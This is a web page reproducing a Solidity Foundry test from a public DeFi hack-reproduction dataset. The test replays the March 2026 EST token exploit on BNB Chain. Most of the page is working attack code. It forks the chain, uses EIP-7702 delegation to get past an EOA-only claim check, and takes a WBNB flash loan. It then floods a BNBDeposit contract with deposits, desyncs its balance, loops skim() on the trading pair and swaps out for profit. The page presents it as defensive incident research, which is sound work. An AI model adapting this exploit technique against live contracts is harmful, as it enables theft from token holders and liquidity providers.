Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/EST_exp.sol

Public reproduction file for dataset entry EST Token.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/EST_exp.sol169 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 150.2 WBNB
8// Attacker : https://bscscan.com/address/0xCF300DE6F177ec10DB0d7f756ced3Ae2D2203BFd
9// Attack Contract : https://bscscan.com/address/0xCF300DE6F177ec10DB0d7f756ced3Ae2D2203BFd
10// Vulnerable Contract : https://bscscan.com/address/0xD4524Be41cd452576aB9FF7b68a0b89aF8498a91
11// Attack Tx : https://bscscan.com/tx/0x2f1c33eaaaace728f6101ff527793387341021ef465a4a33f53a0037f5bd1626
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xD4524Be41cd452576aB9FF7b68a0b89aF8498a91#code
16interface IEST {
17 function balanceOf(
18 address account
19 ) external view returns (uint256);
20 function transfer(
21 address to,
22 uint256 amount
23 ) external returns (bool);
24 function approve(
25 address spender,
26 uint256 amount
27 ) external returns (bool);
28 function allowance(
29 address owner,
30 address spender
31 ) external view returns (uint256);
32 function uniswapV2Pair() external view returns (address);
33 function depositContract() external view returns (address);
36interface IBNBDeposit {
37 function deposit() external payable;
38 function maxDeposit() external view returns (uint256);
39 function totalLP() external view returns (uint256);
40 function userInfo(
41 address
42 ) external view returns (address, uint256, uint256, uint256, uint256, uint256, bool);
45interface IMoolah {
46 function flashLoan(
47 address token,
48 uint256 assets,
49 bytes calldata data
50 ) external;
53interface IMoolahFlashLoanCallback {
54 function onMoolahFlashLoan(
55 uint256 assets,
56 bytes calldata data
57 ) external;
60address constant REAL_EXPLOITER = 0xCF300DE6F177ec10DB0d7f756ced3Ae2D2203BFd;
61address constant EST = 0xD4524Be41cd452576aB9FF7b68a0b89aF8498a91;
62address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
63address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
64address constant PANCAKE_ROUTER_2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
66contract EST_exp is BaseTestWithBalanceLog {
67 uint256 blocknumToForkFrom = 89_060_337 - 1;
68 address msgSender;
69 uint256 senderPrivKey;
71 function setUp() public {
72 vm.createSelectFork("bsc", blocknumToForkFrom);
74 vm.label(EST, "EST");
75 vm.label(MOOLAH, "Moolah");
76 vm.label(WBNB_ADDR, "WBNB");
77 vm.label(IEST(EST).uniswapV2Pair(), "PancakePair");
78 vm.label(IEST(EST).depositContract(), "BNBDeposit");
80 fundingToken = WBNB_ADDR;
82 // EIP-7702: attacker delegates code to Attacker contract via signAndAttachDelegation
83 // This is essential — the exploit requires the EOA itself to execute contract code
84 // (EOA bypass: BNBDeposit contract only allows EOAs to claim, not contracts)
85 (msgSender, senderPrivKey) = makeAddrAndKey("FakeExploiter");
86 }
88 function testExploit() public balanceLog2(msgSender) {
89 vm.startPrank(REAL_EXPLOITER);
90 IEST(EST).transfer(msgSender, 2 ether);
91 vm.stopPrank();
93 vm.startPrank(msgSender, msgSender);
94 vm.signAndAttachDelegation(address(new Attacker()), senderPrivKey);
95 Attacker(payable(msgSender)).start(20_000 ether);
96 vm.stopPrank();
97 }
100contract Attacker is IMoolahFlashLoanCallback {
101 receive() external payable {}
103 function start(
104 uint256 _amount
105 ) public {
106 IMoolah moolah = IMoolah(MOOLAH);
108 require(_amount <= IWBNB(payable(WBNB_ADDR)).balanceOf(MOOLAH));
110 IWBNB(payable(WBNB_ADDR)).approve(MOOLAH, _amount);
112 moolah.flashLoan(WBNB_ADDR, _amount, "");
113 }
115 function onMoolahFlashLoan(
116 uint256,
117 bytes calldata
118 ) external {
119 IWBNB wbnb = IWBNB(payable(WBNB_ADDR));
120 IEST est = IEST(EST);
121 IUniswapV2Pair uniswapPair = IUniswapV2Pair(est.uniswapV2Pair());
122 IBNBDeposit bnbDeposit = IBNBDeposit(est.depositContract());
124 // Step 1: Unwrap WBNB to BNB and repeatedly deposit into BNBDeposit
125 uint256 depositPerTime = bnbDeposit.maxDeposit();
126 wbnb.withdraw(depositPerTime * 30);
127 while (address(this).balance > depositPerTime) {
128 bnbDeposit.deposit{value: depositPerTime}();
129 }
131 // Step 2: Swap 400 WBNB for EST tokens
132 _swapToken(address(bnbDeposit), WBNB_ADDR, EST, 400 ether);
134 // Step 3: Send 1 EST to BNBDeposit to desync its internal state
135 est.transfer(address(bnbDeposit), 1 ether);
137 // Step 4: Swap remaining WBNB for more EST
138 _swapToken(address(bnbDeposit), WBNB_ADDR, EST, wbnb.balanceOf(address(this)));
140 // Step 5: Exploit skim() loop — repeatedly transfer EST to pair and skim to BNBDeposit
141 // The skim() extracts unaccounted tokens from the pair, manipulating BNBDeposit balance
142 for (uint256 i = 0; i < 100; i++) {
143 uint256 amount = est.balanceOf(address(uniswapPair)) * 10 / 95;
144 est.transfer(address(uniswapPair), amount);
145 uniswapPair.skim(address(bnbDeposit));
146 }
148 // Step 6: Swap all EST back to WBNB for profit
149 _swapToken(address(this), EST, WBNB_ADDR, est.balanceOf(address(this)));
150 }
152 function _swapToken(
153 address _recipient,
154 address _from,
155 address _to,
156 uint256 _amount
157 ) internal {
158 IERC20 fromToken = IERC20(_from);
159 if (fromToken.allowance(address(this), PANCAKE_ROUTER_2) != type(uint256).max) {
160 fromToken.approve(PANCAKE_ROUTER_2, type(uint256).max);
161 }
163 address[] memory path = new address[](2);
164 path[0] = _from;
165 path[1] = _to;
166 IPancakeRouter(payable(PANCAKE_ROUTER_2))
167 .swapExactTokensForTokensSupportingFeeOnTransferTokens(_amount, 0, path, _recipient, block.timestamp + 60);
168 }

Analysis

Dataset entry

Public Foundry test for “EST Token” (2026-03-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xcf300de6f177ec10db0d7f756ced3ae2d2203bfd

  • Attack Contract

    0xcf300de6f177ec10db0d7f756ced3ae2d2203bfd

  • Vulnerable Contract

    0xd4524be41cd452576ab9ff7b68a0b89af8498a91

  • Attack Tx

    0x2f1c33eaaaace728f6101ff527793387341021ef465a4a33f53a0037f5bd1626

File record

Name
EST Token
Path
src/test/2026-03/EST_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a91a350bd626c88bc20ea47f5d54aaa89ed9f5ee
Language
Solidity
Size
170 lines
Date
2026-03-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/EST_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a91a350bd626c88bc20ea47f5d54aaa89ed9f5ee, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.